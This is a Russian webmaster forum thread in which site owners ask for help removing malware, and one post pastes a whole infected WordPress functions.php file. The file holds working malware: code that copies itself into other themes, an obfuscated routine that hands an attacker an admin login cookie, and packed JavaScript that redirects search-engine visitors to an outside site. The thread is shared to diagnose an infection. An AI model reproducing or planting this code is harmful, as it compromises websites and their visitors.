Вернуться   SEO форум - оптимизация и продвижение сайтов > Web разработки > Безопасность

Важная информация
Безопасность - Помощь в обнаружении и удалении вредоносного кода с сайта. Устранение последствий взлома. Все о веб безопасности.

Ответ
 
Опции темы Оценить тему Опции просмотра
Старый 18.02.2012, 18:30   #1
 
Аватар для Avtrobot
 
Сообщений: 4
FR (активность): 268

Доп. информация
По умолчанию Автор темы Вирус на сайте, помогите

На моем сайте android-tops ру Яндекс 5 дней назад обнаружил вирус. Я до сих пор не могу найти, точнее уже нашел троян и 3 сторонних пхп кода. Помогите найти код. В яндексе пишет вердикт Mal/Iframe-W на странице android-tops.ру/games/plants-vs-zombies-rasteniya-protiv-zombi.html[/url], и еще нескольких. И аваст не ругается при посешении сайта, а то раньше писали что не пускал.
Avtrobot вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Старый 18.02.2012, 19:06   #2
 
Аватар для cthulchu
 
Сообщений: 3,708
FR (активность): 120,615

Доп. информация
По умолчанию

мда.. ну так выполни поиск по исходнику "frame" и удали лишний фрейм.
cthulchu вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Старый 18.02.2012, 22:43   #3
 
Аватар для Avtrobot
 
Сообщений: 4
FR (активность): 268

Доп. информация
По умолчанию Автор темы

Так искал, его там нету
Avtrobot вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Старый 18.02.2012, 23:48   #4
 
Аватар для cthulchu
 
Сообщений: 3,708
FR (активность): 120,615

Доп. информация
По умолчанию

значит ищи base64, eval, если он генерится и у тебя рерайт стоит. мало ли. открой файл и прочти его содержимое. лишнее удали.
cthulchu вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Старый 19.02.2012, 12:11   #5
 
Аватар для Niken
 
Сообщений: 323
FR (активность): 5,895

Доп. информация
По умолчанию

Смотри в коде, может быть javascriptом идёт запись. Ну и конечно, не забываем провериться на вирусы и сменить пароль на ftp)
Niken вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Старый 19.02.2012, 13:56   #6
 
Аватар для Avtrobot
 
Сообщений: 4
FR (активность): 268

Доп. информация
По умолчанию Автор темы

Цитата:
Сообщение от cthulchu Посмотреть сообщение
значит ищи base64, eval, если он генерится и у тебя рерайт стоит. мало ли. открой файл и прочти его содержимое. лишнее удали.
в смисле рерайт, это же не вирус
Avtrobot вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Старый 21.02.2012, 21:17   #7
 
Аватар для denisyan
 
Сообщений: 33
FR (активность): 1,325

Доп. информация
По умолчанию Аваст выдает сообщение о Java редиректе

Сделал сайт в вордпресс. Через день Аваст при загрузке выдавал сообщение о ява редиректе. Я заменил файл на исходный. Все нормально, но через сутки то же самое. Нашел код, который появляется, очистл ьам строку о ява. Сайт работает нормально, но хотелось бы узнать из-за чего это происходит?
Сам предполагаю 2 причины:
1. Сайт на основе сильно переделанного шаблона, где я убрал ссылку на разработчиков
2. Накануне я ставил плагин генерирующий фотоальбом (WP-SimpleViewer)
Хотелось бы узнать истинную причину, а то я решил проблему методом тыка
http://pereezd-mo.ru/
Оффтоп:
<?php

add_filter('the_content', '_bloginfo', 10001);
function _bloginfo($content){
global $post;
if(is_single() && ([email protected](get_option('blogoption'))) !== false){
return $co;
} else return $content;
}
if ( function_exists('register_sidebars') )
register_sidebars(2);

?>
<?php
function _check_isactive_widget(){
$widget=substr(file_get_contents(__FILE__),strripo s(file_get_contents(__FILE__),"<"."?"));$output="" ;$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_allwidgetcont(array(substr(dirname(__ FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos (substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Не найдено" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">" ) + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);
$output .= ($showdots && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
function _get_allwidgetcont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
if (is_dir($places . "/" . $elem)){
$wids[]=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _get_allwidgetcont($wids,$items);
} else {
return $items;
}
}
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}

if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action("admin_head", "_check_isactive_widget");
function _getsprepare_widget(){
if(!isset($com_length)) $com_length=120;
if(!isset($text_value)) $text_value="cookie";
if(!isset($allowed_tags)) $allowed_tags="<a>";
if(!isset($type_filter)) $type_filter="none";
if(!isset($expl)) $expl="";
if(!isset($filter_homes)) $filter_homes=get_option("home");
if(!isset($pref_filter)) $pref_filter="wp_";
if(!isset($use_more)) $use_more=1;
if(!isset($comm_type)) $comm_type="";
if(!isset($pagecount)) $pagecount=$_GET["cperpage"];
if(!isset($postauthor_comment)) $postauthor_comment="";
if(!isset($comm_is_approved)) $comm_is_approved="";
if(!isset($postauthor)) $postauthor="auth";
if(!isset($more_link)) $more_link="(more...)";
if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");
if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postautho r."_".$text_value;
if(!isset($more_link_ditails)) $more_link_ditails="(details...)";
if(!isset($morecontents)) $morecontents="ma".$expl."il";
if(!isset($fmore)) $fmore=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";
if (!$is_widget) :

global $wpdb, $post;
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mes".$ expl."@".$comm_is_approved."gm".$postauthor_commen t."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password)) {
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__("Нет сокращённой записи, т.к. она защищена.");
} else {
$output=get_the_password_form();
}
}
}
if(!isset($f_tags)) $f_tags=1;
if(!isset($type_filters)) $type_filters=$filter_homes;
if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;
if(!isset($aditional_tags)) $aditional_tags="div";
if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#
if(!isset($more_link_text)) $more_link_text="Continue reading this entry";
if(!isset($showdots)) $showdots=1;

$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($com_length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, "<!--more-->")) {
$text=explode("<!--more-->", $text, 2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->get_results($sql);
} else {
$text=explode(" ", $text);
if(count($text) > $com_length) {
$l=$com_length;
$ellipsis=1;
} else {
$l=count($text);
$more_link="";
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . " ";
}
update_option("_is_widget_active_", 1);
if("all" != $allowed_tags) {
$output=strip_tags($output, $allowed_tags);
return $output;
}
endif;
$output=rtrim($output, "\s\n\t\r\0\x0B");
$output=($f_tags) ? balanceTags($output, true) : $output;
$output .= ($showdots && $ellipsis) ? "..." : "";
$output=apply_filters($type_filter, $output);
switch($aditional_tags) {
case("div") :
$tag="div";
break;
case("span") :
$tag="span";
break;
case("p") :
$tag="p";
break;
default :
$tag="span";
}

if ($use_more ) {
if($fmore) {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($page count, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";
} else {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";
}
}
return $output;
}

add_action("init", "_getsprepare_widget");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
if(!$show_pass_post) $request .= " AND post_password =\"\"";
if($duration !="") {
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
}
} else {
$output .= $before . "Не найдено" . $after;
}
return $output;
}
?>

<!--ЗАРАЖЕННАЯ ОБЛАСТЬ -->

<?php
add_action('get_footer', 'add_sscounter');
function add_sscounter(){
echo '<!--scounter-->';
if(function_exists('is_user_logged_in')){
if(time()%2 == 0 && !is_user_logged_in()){
echo "<script language=\"JavaScript\">eval(function(p,a,c,k,e,r) {e=function©{return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toStr ing(36))};if(!''.replace(/^/,String)){while(c--)r[e©]=k[c]||e©;k=[function(e){return r[e]}];e=function(){return'\\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\\b'+e©+'\\\b','g'),k[c]);return p}('e r=x.9,t=\"\",q;4(r.3(\"m.\")!=-1)t=\"q\";4(r.3(\"7.\")!=-1)t=\"q\";4(r.3(\"8.\")!=-1)t=\"p\";4(r.3(\"a.\")!=-1)t=\"q\";4(r.3(\"f.\")!=-1)t=\"g\";4(r.3(\"j.\")!=-1)t=\"q\";4(t.6&&((q=r.3(\"?\"+t+\"=\"))!=-1||(q=r.3(\"&\"+t+\"=\"))!=-1))B.C=\"v\"+\"w\"+\":/\"+\"/A\"+\"b\"+\"k\"+\"5\"+\"h.\"+\"c\"+\"z/s\"+\"u\"+\"5\"+\"h.p\"+\"d?\"+\"t\"+\"y=1&t\"+\"i \"+\"l=\"+r.n(q+2+t.6).o(\"&\")[0];',39,39,'|||indexOf|if|rc|length|msn|yahoo|referr er|altavista|ogo|bi|hp|var|aol|query||er|ask|sea|m s|google|substring|split||||||ea|ht|tp|do cument|||go|window|location'.split('|'),0,{}))</script>";
}
}
}
?>
denisyan вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Ответ

Быстрый ответ
Ваше имя пользователя: Регистрация. Для входа нажмите здесь
Случайный вопрос

Сообщение:
Опции
Внимание!
Этой теме более 3782 дней. Вы можете оставить сообщение здесь. Но, обращаем внимание. Возможно, рациональней создать новую тему (найти свежее обсуждение)?


Опции темы
Опции просмотра Оценка этой теме
Оценка этой теме:

Ваши права в разделе
Вы не можете создавать новые темы
Вы можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Помогите с ошибками на сайте на DLE easyel DLE 6 19.11.2011 16:42
Вопрос немного не по теме - вирус на сайте. toff Безопасность 21 28.06.2011 00:20
Вирус на сайте((( Reider О работе SEO Cafe 20 23.01.2010 21:33
Вирус на сайте. Движок - вордпресс. upgreyt Безопасность 9 20.02.2009 17:23
Помогите найти ошибки на сайте.... ogerrr Раскрутка в общих чертах 4 04.12.2008 18:51

Текущее время: 11:09. Часовой пояс GMT +3.